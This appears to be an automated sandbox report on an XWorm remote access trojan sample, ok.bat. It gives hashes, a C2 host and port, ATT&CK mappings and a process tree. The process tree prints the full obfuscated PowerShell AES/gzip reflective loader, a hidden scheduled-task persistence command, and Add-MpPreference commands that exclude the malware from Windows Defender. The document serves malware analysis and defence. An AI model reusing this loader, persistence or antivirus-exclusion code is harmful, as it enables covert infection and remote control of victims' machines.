xworm | 0aeb0fb66dd52c44d48137d6b5bbbef9bc57d01c3da4655665e541fdeda94158

Analysis

max time kernel
15s
max time network
16s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-09-2024 09:24

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General

Target

ok.bat
Size

408KB
MD5

b0f8f1efd13e7bd0cc66d64eb3d75a63
SHA1

1800d9fad1506bbaedf09da136b6334660fa31ab
SHA256

0aeb0fb66dd52c44d48137d6b5bbbef9bc57d01c3da4655665e541fdeda94158
SHA512

ef1ab4604783c6a58f7adfe0155226e69cb8970f8eaea211432f95c461bdf0aeccc2de677f687e943400dab05bc798b261d8ac5f58442bcac382096757e7d69f
SSDEEP

6144:bexdO5Cg9W3uNG0mS4jW5RBgYL9rJ4lwhCFPJt7Reg7lrjqV0KEmtlJ8xePlwGB2:iUCg9XNGxzy5RWnHv7N7B2EMbdwLjqeN

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

final-consequently.gl.at.ply.gg:10334

Attributes

Install_directory
%AppData%
install_file
COM Surrogate.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4440-52-0x000002BA6B8F0000-0x000002BA6B90A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	4440	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1668	powershell.exe
2468	powershell.exe
3728	powershell.exe
4952	powershell.exe
2060	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\COM Surrogate.lnk	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\COM Surrogate.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate = "C:\\Users\\Admin\\AppData\\Roaming\\COM Surrogate.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File created	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-02-09-24-30.etl	svchost.exe
File opened for modification	C:\Windows\system32\SleepStudy\user-not-present-trace-2024-09-02-09-24-30.etl	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800FEEAC3B05"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133697426707161705"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI	svchost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2128	powershell.exe
2128	powershell.exe
1668	powershell.exe
1668	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
2468	powershell.exe
2468	powershell.exe
2468	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
3728	powershell.exe
3728	powershell.exe
3728	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
2060	powershell.exe
2060	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
2060	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe
4440	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe
Token: 36	1668	powershell.exe
Token: SeIncreaseQuotaPrivilege	1668	powershell.exe
Token: SeSecurityPrivilege	1668	powershell.exe
Token: SeTakeOwnershipPrivilege	1668	powershell.exe
Token: SeLoadDriverPrivilege	1668	powershell.exe
Token: SeSystemProfilePrivilege	1668	powershell.exe
Token: SeSystemtimePrivilege	1668	powershell.exe
Token: SeProfSingleProcessPrivilege	1668	powershell.exe
Token: SeIncBasePriorityPrivilege	1668	powershell.exe
Token: SeCreatePagefilePrivilege	1668	powershell.exe
Token: SeBackupPrivilege	1668	powershell.exe
Token: SeRestorePrivilege	1668	powershell.exe
Token: SeShutdownPrivilege	1668	powershell.exe
Token: SeDebugPrivilege	1668	powershell.exe
Token: SeSystemEnvironmentPrivilege	1668	powershell.exe
Token: SeRemoteShutdownPrivilege	1668	powershell.exe
Token: SeUndockPrivilege	1668	powershell.exe
Token: SeManageVolumePrivilege	1668	powershell.exe
Token: 33	1668	powershell.exe
Token: 34	1668	powershell.exe
Token: 35	1668	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4440	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3008 wrote to memory of 1576	3008	cmd.exe	87
PID 3008 wrote to memory of 1576	3008	cmd.exe	87
PID 3008 wrote to memory of 2128	3008	cmd.exe	88
PID 3008 wrote to memory of 2128	3008	cmd.exe	88
PID 2128 wrote to memory of 1668	2128	powershell.exe	91
PID 2128 wrote to memory of 1668	2128	powershell.exe	91
PID 2128 wrote to memory of 4708	2128	powershell.exe	95
PID 2128 wrote to memory of 4708	2128	powershell.exe	95
PID 4708 wrote to memory of 4192	4708	WScript.exe	96
PID 4708 wrote to memory of 4192	4708	WScript.exe	96
PID 4192 wrote to memory of 1652	4192	cmd.exe	98
PID 4192 wrote to memory of 1652	4192	cmd.exe	98
PID 4192 wrote to memory of 4440	4192	cmd.exe	99
PID 4192 wrote to memory of 4440	4192	cmd.exe	99
PID 4440 wrote to memory of 3400	4440	powershell.exe	56
PID 4440 wrote to memory of 1376	4440	powershell.exe	23
PID 4440 wrote to memory of 4520	4440	powershell.exe	93
PID 4440 wrote to memory of 2148	4440	powershell.exe	39
PID 4440 wrote to memory of 3324	4440	powershell.exe	55
PID 4440 wrote to memory of 3520	4440	powershell.exe	57
PID 4440 wrote to memory of 3908	4440	powershell.exe	66
PID 4440 wrote to memory of 1344	4440	powershell.exe	22
PID 4440 wrote to memory of 2520	4440	powershell.exe	43
PID 4440 wrote to memory of 740	4440	powershell.exe	14
PID 4440 wrote to memory of 2512	4440	powershell.exe	42
PID 4440 wrote to memory of 2708	4440	powershell.exe	46
PID 4440 wrote to memory of 1524	4440	powershell.exe	27
PID 4440 wrote to memory of 1128	4440	powershell.exe	18
PID 4440 wrote to memory of 2700	4440	powershell.exe	45
PID 4440 wrote to memory of 1712	4440	powershell.exe	30
PID 4440 wrote to memory of 1504	4440	powershell.exe	26
PID 4440 wrote to memory of 912	4440	powershell.exe	11
PID 4440 wrote to memory of 2876	4440	powershell.exe	69
PID 4440 wrote to memory of 1992	4440	powershell.exe	33
PID 4440 wrote to memory of 1300	4440	powershell.exe	21
PID 4440 wrote to memory of 1492	4440	powershell.exe	25
PID 4440 wrote to memory of 960	4440	powershell.exe	12
PID 4440 wrote to memory of 1500	4440	powershell.exe	75
PID 4440 wrote to memory of 4980	4440	powershell.exe	68
PID 4440 wrote to memory of 1084	4440	powershell.exe	17
PID 4440 wrote to memory of 1472	4440	powershell.exe	24
PID 4440 wrote to memory of 672	4440	powershell.exe	53
PID 4440 wrote to memory of 1688	4440	powershell.exe	29
PID 4440 wrote to memory of 2836	4440	powershell.exe	50
PID 4440 wrote to memory of 2044	4440	powershell.exe	35
PID 4440 wrote to memory of 1452	4440	powershell.exe	36
PID 4440 wrote to memory of 2828	4440	powershell.exe	49
PID 4440 wrote to memory of 1840	4440	powershell.exe	37
PID 4440 wrote to memory of 2032	4440	powershell.exe	72
PID 4440 wrote to memory of 2424	4440	powershell.exe	41
PID 4440 wrote to memory of 1040	4440	powershell.exe	16
PID 4440 wrote to memory of 1028	4440	powershell.exe	15
PID 4440 wrote to memory of 1812	4440	powershell.exe	32
PID 4440 wrote to memory of 1612	4440	powershell.exe	28
PID 4440 wrote to memory of 1804	4440	powershell.exe	31
PID 4440 wrote to memory of 2000	4440	powershell.exe	34
PID 4440 wrote to memory of 4864	4440	powershell.exe	65
PID 4440 wrote to memory of 2192	4440	powershell.exe	40
PID 4440 wrote to memory of 2780	4440	powershell.exe	47
PID 4440 wrote to memory of 1200	4440	powershell.exe	20
PID 4440 wrote to memory of 800	4440	powershell.exe	10
PID 4440 wrote to memory of 1184	4440	powershell.exe	19
PID 800 wrote to memory of 1640	800	svchost.exe	101
PID 800 wrote to memory of 1640	800	svchost.exe	101

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Drops file in System32 directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:800
- C:\Windows\system32\backgroundTaskHost.exe
  "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca
  2⤵
  PID:1640
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:2732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1688

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1992

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2424

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2708

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3324

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ok.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1HvwTOfe16KE/Oo1VmVeLyRX5eszT05lMFFAv86FK2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iyFMMVCpvdKRQhPXVaNuEg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DelDl=New-Object System.IO.MemoryStream(,$param_var); $iauBN=New-Object System.IO.MemoryStream; $WMepm=New-Object System.IO.Compression.GZipStream($DelDl, [IO.Compression.CompressionMode]::Decompress); $WMepm.CopyTo($iauBN); $WMepm.Dispose(); $DelDl.Dispose(); $iauBN.Dispose(); $iauBN.ToArray();}function execute_function($param_var,$param2_var){ $mjGIW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ujopB=$mjGIW.EntryPoint; $ujopB.Invoke($null, $param2_var);}$YUshL = 'C:\Users\Admin\AppData\Local\Temp\ok.bat';$host.UI.RawUI.WindowTitle = $YUshL;$RMXmR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($YUshL).Split([Environment]::NewLine);foreach ($hdLAq in $RMXmR) { if ($hdLAq.StartsWith('npMFpQCGBAsoiliwarmL')) { $iDGWH=$hdLAq.Substring(20); break; }}$payloads_var=[string[]]$iDGWH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_299_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1668
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:4708
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4192
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1HvwTOfe16KE/Oo1VmVeLyRX5eszT05lMFFAv86FK2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('iyFMMVCpvdKRQhPXVaNuEg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DelDl=New-Object System.IO.MemoryStream(,$param_var); $iauBN=New-Object System.IO.MemoryStream; $WMepm=New-Object System.IO.Compression.GZipStream($DelDl, [IO.Compression.CompressionMode]::Decompress); $WMepm.CopyTo($iauBN); $WMepm.Dispose(); $DelDl.Dispose(); $iauBN.Dispose(); $iauBN.ToArray();}function execute_function($param_var,$param2_var){ $mjGIW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ujopB=$mjGIW.EntryPoint; $ujopB.Invoke($null, $param2_var);}$YUshL = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.bat';$host.UI.RawUI.WindowTitle = $YUshL;$RMXmR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($YUshL).Split([Environment]::NewLine);foreach ($hdLAq in $RMXmR) { if ($hdLAq.StartsWith('npMFpQCGBAsoiliwarmL')) { $iDGWH=$hdLAq.Substring(20); break; }}$payloads_var=[string[]]$iDGWH.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:1652
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        6⤵
        Blocklisted process makes network request
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4440
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\COM Surrogate.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'COM Surrogate.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4864

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2876

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
